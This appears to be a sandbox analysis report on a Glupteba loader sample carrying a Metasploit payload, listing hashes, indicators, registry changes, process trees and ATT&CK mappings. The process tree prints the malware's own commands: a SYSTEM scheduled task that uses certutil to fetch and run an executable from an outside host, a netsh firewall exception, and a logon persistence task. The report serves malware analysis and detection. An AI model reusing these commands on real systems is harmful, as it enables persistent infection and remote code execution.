glupteba | 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e

General

Target

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Size

3.9MB
MD5

6cdb82a5248095408ead1969b1c30f4b
SHA1

6414d0f3dc303c834f0ddce218139348074bbdac
SHA256

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e
SHA512

c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2944-131-0x0000000003710000-0x0000000003F14000-memory.dmp	family_glupteba
behavioral2/memory/2944-132-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral2/memory/2944-134-0x0000000003710000-0x0000000003F14000-memory.dmp	family_glupteba
behavioral2/memory/2944-135-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral2/memory/4092-139-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral2/memory/4092-143-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral2/memory/1032-145-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral2/memory/1032-151-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 2172 created 2944	2172	svchost.exe	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
PID 2172 created 1032	2172	svchost.exe	csrss.exe
PID 2172 created 1032	2172	svchost.exe	csrss.exe
PID 2172 created 1032	2172	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1032 csrss.exe
232 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

2280 netsh.exe

pid	process
1032	csrss.exe
232	patch.exe

pid	process
2280	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SilentLeaf = "\"C:\\Windows\\rss\\csrss.exe\""	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

228 bcdedit.exe

pid	process
228	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

description	ioc	process
File opened for modification	C:\Windows\rss	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
File created	C:\Windows\rss\csrss.exe	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3480 schtasks.exe
484 schtasks.exe

pid	process
3480	schtasks.exe
484	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.execsrss.exe

pid	process
2944	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
2944	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
4092	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
4092	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
1032	csrss.exe
1032	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2944	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Token: SeImpersonatePrivilege	2944	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Token: SeTcbPrivilege	2172	svchost.exe
Token: SeTcbPrivilege	2172	svchost.exe
Token: SeBackupPrivilege	2172	svchost.exe
Token: SeRestorePrivilege	2172	svchost.exe
Token: SeBackupPrivilege	2172	svchost.exe
Token: SeRestorePrivilege	2172	svchost.exe
Token: SeBackupPrivilege	2172	svchost.exe
Token: SeRestorePrivilege	2172	svchost.exe
Token: SeSystemEnvironmentPrivilege	1032	csrss.exe
Token: SeBackupPrivilege	2172	svchost.exe
Token: SeRestorePrivilege	2172	svchost.exe
Token: SeBackupPrivilege	2172	svchost.exe
Token: SeRestorePrivilege	2172	svchost.exe
Token: SeBackupPrivilege	2172	svchost.exe
Token: SeRestorePrivilege	2172	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.execmd.execsrss.exe

description	pid	process	target process
PID 2172 wrote to memory of 4092	2172	svchost.exe	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
PID 2172 wrote to memory of 4092	2172	svchost.exe	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
PID 2172 wrote to memory of 4092	2172	svchost.exe	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
PID 4092 wrote to memory of 2340	4092	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	cmd.exe
PID 4092 wrote to memory of 2340	4092	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	cmd.exe
PID 2340 wrote to memory of 2280	2340	cmd.exe	netsh.exe
PID 2340 wrote to memory of 2280	2340	cmd.exe	netsh.exe
PID 4092 wrote to memory of 1032	4092	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	csrss.exe
PID 4092 wrote to memory of 1032	4092	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	csrss.exe
PID 4092 wrote to memory of 1032	4092	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	csrss.exe
PID 2172 wrote to memory of 3480	2172	svchost.exe	schtasks.exe
PID 2172 wrote to memory of 3480	2172	svchost.exe	schtasks.exe
PID 2172 wrote to memory of 484	2172	svchost.exe	schtasks.exe
PID 2172 wrote to memory of 484	2172	svchost.exe	schtasks.exe
PID 2172 wrote to memory of 232	2172	svchost.exe	patch.exe
PID 2172 wrote to memory of 232	2172	svchost.exe	patch.exe
PID 1032 wrote to memory of 228	1032	csrss.exe	bcdedit.exe
PID 1032 wrote to memory of 228	1032	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
"C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2944

C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
"C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4092

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2340

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3480

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:484

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:232

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2172

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
1⤵
- Modifies Windows Firewall
PID:2280

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
6cdb82a5248095408ead1969b1c30f4b

SHA1
6414d0f3dc303c834f0ddce218139348074bbdac

SHA256
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e

SHA512
c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
6cdb82a5248095408ead1969b1c30f4b

SHA1
6414d0f3dc303c834f0ddce218139348074bbdac

SHA256
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e

SHA512
c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a

Download Submit
memory/228-150-0x0000000000000000-mapping.dmp

Download
memory/232-148-0x0000000000000000-mapping.dmp

Download
memory/484-147-0x0000000000000000-mapping.dmp

Download
memory/1032-145-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/1032-151-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/1032-140-0x0000000000000000-mapping.dmp

Download
memory/1032-144-0x0000000003800000-0x0000000003BA8000-memory.dmp

Filesize
3.7MB

Download
memory/2280-137-0x0000000000000000-mapping.dmp

Download
memory/2340-136-0x0000000000000000-mapping.dmp

Download
memory/2944-134-0x0000000003710000-0x0000000003F14000-memory.dmp

Filesize
8.0MB

Download
memory/2944-131-0x0000000003710000-0x0000000003F14000-memory.dmp

Filesize
8.0MB

Download
memory/2944-135-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/2944-132-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/2944-130-0x000000000335D000-0x0000000003705000-memory.dmp

Filesize
3.7MB

Download
memory/3480-146-0x0000000000000000-mapping.dmp

Download
memory/4092-133-0x0000000000000000-mapping.dmp

Download
memory/4092-143-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/4092-139-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/4092-138-0x0000000003405000-0x00000000037AD000-memory.dmp

Filesize
3.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads